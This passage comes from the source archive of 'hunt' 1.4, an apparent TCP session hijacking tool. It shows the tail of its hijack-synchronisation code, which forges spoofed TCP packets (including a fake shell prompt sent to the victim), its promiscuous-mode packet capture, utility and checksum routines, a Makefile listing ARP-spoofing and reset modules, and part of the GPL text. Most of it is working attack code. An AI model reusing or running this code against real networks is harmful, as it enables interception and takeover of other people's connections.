= ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = p->p_data; ts.data_len = p->p_data_len; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); need_read -= p->p_data_len; need_write -= p->p_data_len; #if 0 printf("need read = %d, send/src seq = %u, ack = %u\n", need_read, ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif } void f_hijack_sync(struct packet *p, struct conn_info *ci) { static unsigned int last_read_ack, dst_last_ack; struct tcp_spec ts; char buf[512], *w_data; int len; #if 0 if (p->p_ipc != 0) { need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (need_read < 0) need_read_negative(ci); #ifndef SYNC_FAST packet_free(p); #endif return; } #endif if (p->p_iph->saddr == ci->src_addr && p->p_iph->daddr == ci->dst_addr && p->p_hdr.p_tcph->source == ci->src_port && p->p_hdr.p_tcph->dest == ci->dst_port) { /* * packet from source */ need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (need_read) { if (need_read > 0 && need_write >= 0) { if (p->p_data_len > 0) { print_data_packet(p, p->p_data_len, 0, 0); need_read_positive(p, ci); last_read_ack = htonl(ntohl(ci->src.next_d_seq) + p->p_data_len); } } else { need_read_write_negative(ci); } } else if (need_write > 0) { /* need read == 0 */ if (p->p_data_len) print_data_packet(p, p->p_data_len, 0, 0); if (last_read_ack == p->p_hdr.p_tcph->ack_seq && p->p_data_len) { len = p->p_data_len; if (len > sizeof(buf)) len = sizeof(buf); memcpy(buf, p->p_data, len); w_data = buf; } else { len = 0; w_data = NULL; } need_write_positive(ci, w_data, len); } else if (need_write < 0) { need_read_write_negative(ci); } else { /* need_read == 0 && need_write == 0 */ #if 0 printf("need_write %d, need_read %d, src seq = %u, ack = %u\n", need_read, need_write, ntohl(ci->src.next_seq), ntohl(ci->src.next_d_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif #if SYNC_FAST pthread_mutex_lock(&mutex_hijack_sync); #endif f_sync_done = 1; #if SYNC_FAST pthread_cond_signal(&cond_hijack_sync); pthread_mutex_unlock(&mutex_hijack_sync); #endif } } else { if (p->p_iph->saddr == ci->dst_addr && p->p_iph->daddr == ci->src_addr && p->p_hdr.p_tcph->source == ci->dst_port && p->p_hdr.p_tcph->dest == ci->src_port) { need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (dst_last_ack != ci->dst.next_seq) { /* packet from dst - ACK it */ ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); dst_last_ack = ts.ack_seq; if (need_read < 0 || need_write < 0) { need_read_write_negative(ci); } else if (need_read == 0) { if (need_write > 0) need_write_positive(ci, NULL, 0); } else { /* need read > 0 */ if (nw_was_negative) { nw_was_negative = 0; hijack_sync_init_msg(ci); } } } if (need_read == 0 && need_write == 0) { f_sync_done = 1; } } } #ifndef SYNC_FAST packet_free(p); #endif } void ctrl_c_sync_handler(int signr) { sync_was_canceled = 1; f_sync_done = 1; } int hijack_sync(struct conn_info *ci) { struct ifunc_item ifunc_f, ifunc_dst; struct timespec absts; struct timeval now; struct sigaction sac, old_sac; struct packet *p; nw_was_negative = 0; f_sync_done = 0; list_produce_start(&l_hijack_conn); #ifdef SYNC_FAST pthread_mutex_init(&mutex_hijack_sync, NULL); pthread_cond_init(&cond_hijack_sync, NULL); ifunc_f.func = (void(*)(struct packet *, void *)) f_hijack_sync; ifunc_f.arg = ci; list_enqueue(&l_ifunc_fast_tcp, &ifunc_f); #else ifunc_f.func = (void(*)(struct packet *, void *)) func_hijack_src_sync; ifunc_f.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_f); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst_sync; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); #endif /* do this that you can interupt pthread_cond_timedwait through ctrl-c */ gettimeofday(&now, NULL); absts.tv_sec = now.tv_sec + 100000; absts.tv_nsec = 0; hijack_sync_init_msg(ci); sync_was_canceled = 0; sac.sa_handler = ctrl_c_sync_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); #ifdef SYNC_FAST need_read_write_init(); if (need_read < 0 || need_write < 0) need_read_write_negative(ci); pthread_mutex_lock(&mutex_hijack_sync); while (!f_sync_done) { pthread_cond_timedwait(&cond_hijack_sync, &mutex_hijack_sync, &absts); } pthread_mutex_unlock(&mutex_hijack_sync); list_remove(&l_ifunc_fast_tcp, &ifunc_f); #else if (need_write < 0) nw_was_negative = 0; need_read_write_init(); if (need_read < 0 || need_write < 0) need_read_write_negative(ci); if (need_read != 0 || need_write != 0) { while (1) { if (!f_sync_done && (p = list_consume(&l_hijack_conn, NULL))) { f_hijack_sync(p, ci); } else break; if (sync_was_canceled) break; } } list_remove(&l_ifunc_tcp, &ifunc_f); list_remove(&l_ifunc_tcp, &ifunc_dst); #endif packet_flush(&l_hijack_conn); if (sync_was_canceled) press_key("\n-- press any key> "); sigaction(SIGINT, &old_sac, NULL); #if 0 struct timespec relts; /* * wait a while - conn will be updated from ACK */ relts.tv_sec = 1; relts.tv_nsec = /* 500000000 */ 0; nanosleep(&relts, NULL); need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); if (!need_read && !need_write) return 0; else { printf("final need read %d, need write %d\n", need_read, need_write); if (need_read > -4 && need_read < 4 && need_write > -4 && need_write < 4) printf("maybe the synchronization was successful\n"); return -1; } #else if (sync_was_canceled) return -1; else return 0; #endif } hunt-1.4/tap.c100644 0 0 6460 6772412472 11364 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include #include #include #include #ifdef _WITH_LINUX_KERNEL_HDR #include #include #include extern int socket(int domain, int type, int protocol); #define HL_MODE_NR 0 extern char *host_lookup(unsigned int in, int use_mode); extern int verbose; #else #include #include #include #include #include #include "hunt.h" #endif unsigned char my_eth_mac[ETH_ALEN]; unsigned int my_eth_ip; int tap(char *device, int promisc_mode) { int fd; struct ifreq ifr; /* Link-layer interface request structure */ /* Ethernet code for IP 0x0800==ETH_P_IP */ /* * here ETH_P_IP - je to jedno, stejne pres nej poslu ARP packet * nevim ale jestli ho prijmu? */ /* * look at tcpdump */ if ((fd = socket(AF_INET, SOCK_PACKET, /*htons(ETH_P_IP)*/ htons(ETH_P_ALL))) < 0) { if (verbose) perror("(tap) SOCK_PACKET allocation problems [fatal]"); exit(1); } strncpy(ifr.ifr_name, device, IFNAMSIZ); ifr.ifr_name[IFNAMSIZ - 1] = 0; if ((ioctl(fd, SIOCGIFFLAGS, &ifr)) < 0) { /* Get the device info */ if (verbose) perror("(tap) Can't get device flags [fatal]"); close(fd); exit(1); } if (!promisc_mode) ifr.ifr_flags &= ~IFF_PROMISC; /* Unset promiscuous mode */ else ifr.ifr_flags |= IFF_PROMISC; /* Set promiscuous mode */ #if 0 if (ifr.ifr_flags & IFF_SOFTHEADERS) { printf("had softheaders\n"); ifr.ifr_flags ^= IFF_SOFTHEADERS; } #endif if ((ioctl(fd, SIOCSIFFLAGS, &ifr)) < 0) { /* Set flags */ if (verbose) perror("(tap) Can't set/unset promiscuous mode [fatal]"); close(fd); exit(1); } if(!promisc_mode){ close(fd); return 0; } else { if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { if (verbose) perror("(tap) Can't get interface IP address"); tap(device, 0); exit(1); } my_eth_ip = *(unsigned int *) (ifr.ifr_addr.sa_data + 2); if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { if (verbose) perror("(tap) Can't get interface HW address"); tap(device, 0); exit(1); } memcpy(my_eth_mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); if (verbose) { printf("listeining on %s %s ", device, host_lookup(my_eth_ip, HL_MODE_NR)); print_eth_mac(my_eth_mac); printf("\n"); } return fd; } } int get_ifc_info(char *ifc_name, unsigned int *ip, char *mac) { int fd; struct ifreq ifr; if ((fd = socket(AF_INET, SOCK_RAW, /*htons(ETH_P_IP)*/ htons(ETH_P_ALL))) < 0) { return -1; } strncpy(ifr.ifr_name, ifc_name, IFNAMSIZ); ifr.ifr_name[IFNAMSIZ - 1] = 0; if (ip) { if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { close(fd); return -1; } *ip = *(unsigned int *) (ifr.ifr_addr.sa_data + 2); } if (mac) { if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { close(fd); return -1; } memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); printf("mac on %s ", ifc_name); print_eth_mac(mac); printf("\n"); } close(fd); return 0; } hunt-1.4/tty.c100644 0 0 3747 6614614703 11421 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include static struct termios save_termios; static int ttysavefd = -1; static enum { RESET, RAW, CBREAK } ttystate = RESET; /* put terminal into a cbreak mode */ int tty_cbreak(int fd, int wait_for_chars, int timer_dsec) { struct termios buf; if (tcgetattr(fd, &save_termios) < 0) return -1; buf = save_termios; buf.c_lflag &= ~(ECHO | ICANON); /* echo off, canonical mode off */ buf.c_cc[VMIN] = wait_for_chars; buf.c_cc[VTIME] = timer_dsec; if (tcsetattr(fd, TCSAFLUSH, &buf) < 0) return -1; ttystate = CBREAK; ttysavefd = fd; return 0; } /* put terminal into a raw mode */ int tty_raw(int fd, int wait_for_chars, int timer_dsec) { struct termios buf; if (tcgetattr(fd, &save_termios) < 0) return -1; buf = save_termios; buf.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); /* echo off, canonical mode off, extended input processing off, signal chars off */ buf.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); /* no SIGINT on BREAK, CR-to-NL off, input parity check off, don't strip 8th bit on input, output flow control off */ buf.c_cflag &= ~(CSIZE | PARENB); /* clear size bits, parity checking off */ buf.c_cflag |= CS8; /* set 8 bits/char */ buf.c_oflag &= ~(OPOST); /* output processing off */ buf.c_cc[VMIN] = wait_for_chars; buf.c_cc[VTIME] = timer_dsec; if (tcsetattr(fd, TCSAFLUSH, &buf) < 0) return -1; ttystate = RAW; ttysavefd = fd; return 0; } /* restore terminal's mode */ int tty_reset(int fd) { if (ttystate != CBREAK && ttystate != RAW) return 0; if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0) return -1; ttystate = RESET; return(0); } /* can be set up by atexit(tty_atexit) */ void tty_atexit(void) { if (ttysavefd >= 0 && ttystate != RESET) tty_reset(ttysavefd); } hunt-1.4/util.c100644 0 0 17716 6743735266 11612 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #include #if 0 static char *__tty_color[] = { "\033[0;40;30m", /* 0 black on black */ "\033[0;40;31m", /* 1 red */ "\033[0;40;32m", /* 2 green */ "\033[0;40;33m", /* 3 brown */ "\033[0;40;34m", /* 4 blue */ "\033[0;40;35m", /* 5 magenta */ "\033[0;40;36m", /* 6 cyan */ "\033[0;40;37m", /* 7 light gray */ "\033[1;40;30m", /* 0 gray */ "\033[1;40;31m", /* 1 brightred */ "\033[1;40;32m", /* 2 brightgreen */ "\033[1;40;33m", /* 3 yellow */ "\033[1;40;34m", /* 4 brightblue */ "\033[1;40;35m", /* 5 brighmagenta */ "\033[1;40;36m", /* 6 brightcyan */ "\033[1;40;37m", /* 7 white */ }; #endif void print_colors() { int i; for (i = 0; i < 16; i++) { set_tty_color(i); printf("%d Hi\n", i); } } void set_tty_color(enum TTY_COLOR color) { set_tty_color_bg(color, COLOR_BLACK); } void set_tty_color_bg(enum TTY_COLOR fg, enum TTY_COLOR bg) { char buf[32]; sprintf(buf, "\033[%d;4%d;3%dm", fg / 8, bg % 8, fg % 8); fputs(buf, stdout); } int is_power2(unsigned int i) { while (!(i & 1)) i >>= 1; i >>= 1; return i ? 0 : 1; } int log2(unsigned int i) { int l = 0; if (!i) return -1; while (!(i & 1)) { l++; i >>= 1; } i >>= 1; if (i) return 0; else return l; } int count_mask(unsigned int mask) { int retval; retval = 0; while (mask) { if (mask & 1) retval++; mask >>= 1; } return retval; } void print_data_packet(struct packet *p, int data_len, int count, int dst_packet) { static unsigned int hsrc_seq_done; static unsigned int hdst_seq_done; int data_start; int i; data_start = 0; #if 0 if (count == 1) { if (dst_packet) hdst_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; else hsrc_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; } #endif if (count > 1) { if (dst_packet) data_start = hdst_seq_done - ntohl(p->p_hdr.p_tcph->seq); else data_start = hsrc_seq_done - ntohl(p->p_hdr.p_tcph->seq); if (data_start < 0) data_start = 0; } if (!dst_packet) set_tty_color(COLOR_GREEN); for (i = data_start; i < data_len; i++) { if (p->p_data[i] == '\r' && i + 1 < data_len && p->p_data[i + 1] != '\n') putchar('\n'); else putchar(p->p_data[i]); } if (!dst_packet) set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (count && data_start <= data_len) { if (dst_packet) hdst_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; else hsrc_seq_done = ntohl(p->p_hdr.p_tcph->seq) + data_len; } } void print_data(char *label, void *data, int len) { int i; printf("%s: ", label); for (i = 0; i < len; i++) { printf("%X ", ((unsigned char *)data)[i]); } printf("\n"); } unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes) { register long sum = 0; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ int pheader_len; unsigned short *pheader_ptr; struct pseudo_header { unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char proto; unsigned short tlen; } pheader; pheader.saddr = iph->saddr; pheader.daddr = iph->daddr; pheader.null = 0; pheader.proto = iph->protocol; pheader.tlen = htons(nbytes); pheader_ptr = (unsigned short *)&pheader; for (pheader_len = sizeof(pheader); pheader_len; pheader_len -= 2) { sum += *pheader_ptr++; } while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { /* mop up an odd byte, if necessary */ oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum=0; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ while(nbytes>1){ sum+=*ptr++; nbytes-=2; } if(nbytes==1){ /* mop up an odd byte, if necessary */ oddbyte=0; /* make sure top half is zero */ *((u_char *)&oddbyte)=*(u_char *)ptr; /* one byte only */ sum+=oddbyte; } sum+=(sum>>16); /* add carry */ answer=~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } int sprintf_eth_mac(char *b, unsigned char *mac) { return sprintf(b, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); } int print_eth_mac(unsigned char *mac) { char buf[64]; sprintf_eth_mac(buf, mac); return printf("%s", buf); } int rawsock(void) { int fd,val=1; if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { if(verbose) perror("\n(rawsock) Socket problems [fatal]"); exit(1); } #ifdef IP_HDRINCL if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) < 0) { if (verbose) { perror("Cannot set IP_HDRINCL socket option"); fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]"); getchar(); } } #endif return fd; } #if 0 static unsigned const ethernet_polynomial_le = 0xedb88320U; static inline unsigned int ether_crc_le(int length, unsigned char *data) { unsigned int crc = 0xffffffff; /* Initial value. */ while(--length >= 0) { unsigned char current_octet = *data++; int bit; for (bit = 8; --bit >= 0; current_octet >>= 1) { if ((crc ^ current_octet) & 1) { crc >>= 1; crc ^= ethernet_polynomial_le; } else crc >>= 1; } } return crc; } #endif int sprintf_db_ports(unsigned int *ports, char *buf, int buf_size, int all) { char *buf_orig; int i; buf_orig = buf; if (ports[0] == 0) { if (all) buf += sprintf(buf, "all"); return buf - buf_orig; } for (i = 0; ports[i]; i++) { if (PORT_INTERVAL(ports[i])) { /* buf += sprintf(buf, "%d:%d ", ntohs(PORT_VAL(ports[i])), ntohs(ports[i+1]));*/ buf += sprintf(buf, "%s:%s ", port_lookup(PORT_VAL(ports[i]), hl_mode), port_lookup(ports[i+1], hl_mode)); ++i; } else /* buf += sprintf(buf, "%d ", ntohs(ports[i]));*/ buf += sprintf(buf, "%s ", port_lookup(ports[i], hl_mode)); } *(buf - 1) = 0; return buf - buf_orig; } int port_match(int port, unsigned int *db_ports) { int start, end; int pass; int i; if (!db_ports[0]) return 1; pass = 0; for (i = 0; db_ports[i]; i++) { if (PORT_INTERVAL(db_ports[i])) { start = ntohs(PORT_VAL(db_ports[i])); end = ntohs(db_ports[++i]); if (start <= ntohs(port) && ntohs(port) <= end) { pass = 1; break; } } else if (port == db_ports[i]) { pass = 1; break; } } if (pass) return 1; else return 0; } void port_htons(unsigned int *db_ports) { int i; unsigned int upper; for (i = 0; db_ports[i]; i++) { upper = db_ports[i] & (~PORT_MASK); db_ports[i] = upper | htons(PORT_VAL(db_ports[i])); } } unsigned char __suggest_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0x00}; unsigned char *suggest_mac(void) { int i; for (i = ETH_ALEN - 1; i >= 0; i++) { if (++__suggest_mac[i] != 0) break; ++__suggest_mac[i]; /* don't leave it 00 ??? */ } return __suggest_mac; } void ctrl_c_prompt(void) { set_tty_color(COLOR_BRIGHTRED); printf("CTRL-C to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); } void clear_scr(void) { int i; for (i = 0; i < 50; i++) putchar('\n'); } int writen(int fd, char *ptr, int nbytes) { int nleft, nwritten; nleft = nbytes; while (nleft > 0) { nwritten = write(fd, ptr, nleft); if (nwritten <= 0) return(nwritten); /* error */ nleft -= nwritten; ptr += nwritten; } return(nbytes - nleft); } hunt-1.4/Makefile100644 0 0 1533 6763433122 12063 0ustar rootrootCFLAGS=-Wall -O2 -g -D_REENTRANT #CFLAGS+=-DSYNC_FAST #CFLAGS+=-D_WITH_LINUX_KERNEL_HDR LDFLAGS= #LDFLAGS=-static OBJ=hunt.o main.o c/list.o c/hash.o c/array.o util.o net.o \ rst.o menu.o hijack.o rstd.o sniff.o macdisc.o \ tap.o arphijack.o tty.o synchijack.o arpspoof.o hostup.o \ addpolicy.o options.o resolv.o timer.o pktrelay.o hunt: $(OBJ) $(CC) ${LDFLAGS} -o $@ $^ -lpthread hunt_static: $(OBJ) $(CC) ${LDFLAGS} -static -o $@ $^ -lpthread all: hunt hunt_static dist: all clean strip hunt strip hunt_static clean: rm -f *.o core c/*.o c/core c/list_test c/hash_test c/array_test $(MAKE) -C tpserv clean # rm -rf .sniff distclean: rm -f *.o core c/*.o c/core c/list_test c/hash_test c/array_test rm -f hunt hunt_static $(MAKE) -C tpserv distclean # rm -rf .sniff cleandist: distclean clean-dist: distclean dist-clean: distclean hunt-1.4/COPYING100644 0 0 43077 6614622044 11505 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND 